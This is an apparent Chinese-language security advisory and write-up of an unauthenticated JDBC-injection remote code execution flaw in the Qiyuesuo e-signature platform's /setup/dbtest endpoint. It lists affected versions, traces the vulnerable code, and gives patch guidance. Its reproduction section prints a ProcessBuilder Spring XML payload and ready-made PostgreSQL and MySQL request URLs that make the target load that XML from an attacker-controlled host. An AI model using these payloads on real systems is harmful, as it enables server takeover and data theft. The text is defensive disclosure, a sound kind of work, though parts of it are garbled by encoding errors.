0x01 簡介

契約鎖是上海亙巖網絡科技有限公司打造的電子簽約及印章管理平臺，聯(lián)合權威機構提供數(shù)字身份、電子簽章、印章管控及數(shù)據存證服務，助力企業(yè)數(shù)字化轉型。其電子文件具備法律效力，支持多種簽署方式，可集成業(yè)務系統(tǒng)，滿足多行業(yè)需求。

0x02 漏洞概述

漏洞編號：QVD-2025-23408這是一個嚴重的遠程代碼執(zhí)行漏洞，該漏洞源于管理控制臺存在未授權 JDBC 注入漏洞，攻擊者無需身份認證，通過構造惡意數(shù)據庫連接參數(shù)，在?dbtest?接口觸發(fā)遠程代碼執(zhí)行，這可能導致服務器被完全控制、數(shù)據泄露或業(yè)務系統(tǒng)淪陷。

0x03 利用條件

1）影響版本4.3.8 <= 契約鎖 <= 5.3.* && 補丁版本 < 2.1.54.0.* <= 契約鎖 <= 4.3.7 && 補丁版本 < 1.3.5

2）所需權限：無

0x04 漏洞復現(xiàn)

訪問/setup/dbtest或/api/setup/dbtest

對POSTGRESQL數(shù)據庫進行利用

新建1.xml文件，內容如下，放至自己的VPS上

<beans?xmlns="http://www.springframework.org/schema/beans"? ? ? ?xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"? ? ? ?xmlns:p="http://www.springframework.org/schema/p"? ? ? ?xsi:schemaLocation="http://www.springframework.org/schema/beans? ? ? ? http://www.springframework.org/schema/beans/spring-beans.xsd">? ?<bean?id="exec"?class="java.lang.ProcessBuilder"?init-method="start">? ? ? ??<constructor-arg>? ? ? ? ??<list>? ? ? ? ? ??<value>cmd</value>? ? ? ? ? ??<value>/c</value>? ? ? ? ? ??<value>calc</value>? ? ? ? ??</list>? ? ? ??</constructor-arg>? ??</bean></beans>

執(zhí)行payload：/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F100.XX.XXX.85:8099%2F1%2Exml

目標主機上彈出計算器

mysql數(shù)據庫payload：/setup/dbtest?db=MYSQL&host=localhost&port=3306&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml

注意：是否存在/api/路徑需根據實際情況判斷，如存在，payload前需添加/api/

0x05 漏洞分析

com.qiyuesuo.config.ConsoleConfiguration?這個類有定義前臺不需要鑒權的接口，其中就包含了此次漏洞的接口?/setup/dbtest

問題的入口點?com.qiyuesuo.setup.SetupController#dbtest?在代碼中請求了幾個參數(shù) host、port、name、username，接著我們追蹤?validateDatabase?方法

在?com.qiyuesuo.setup.SetupService#validateDatabase?方法中調用?dbset?方法建立數(shù)據庫連接，接著追蹤?dbtest?方法

在?com.qiyuesuo.setup.SetupService#dbtest?方法中可以看到，方法從?databaseService?獲取數(shù)據庫連接然后檢查連接是否非空且有效等等，然后追蹤?databaseService.getConnection?方法直接就是 jdbc 反序列化調用了

0x06 修復方式

1、緩解措施：避免將該系統(tǒng)管理端HTTP服務直接暴露在互聯(lián)網。2、修復建議：目前，官方已發(fā)布修復建議，建議受影響的用戶盡快升級至安全版本。

官方補丁下載地址：https://www.qiyuesuo.com/more/security/servicepack

參考鏈接

https://mp.weixin.qq.com/s/gmfx97xH4OHtGSJ0UmgOKA https://mp.weixin.qq.com/s/mRu0RCM4hDx0EwEWwwyLcQ https://blog.csdn.net/baidu_25299117/article/details/139990814

[超站]友情鏈接：

四季很好，只要有你，文娛排行榜：https://www.yaopaiming.com/
關注數(shù)據與安全，洞悉企業(yè)級服務市場：https://www.ijiandao.com/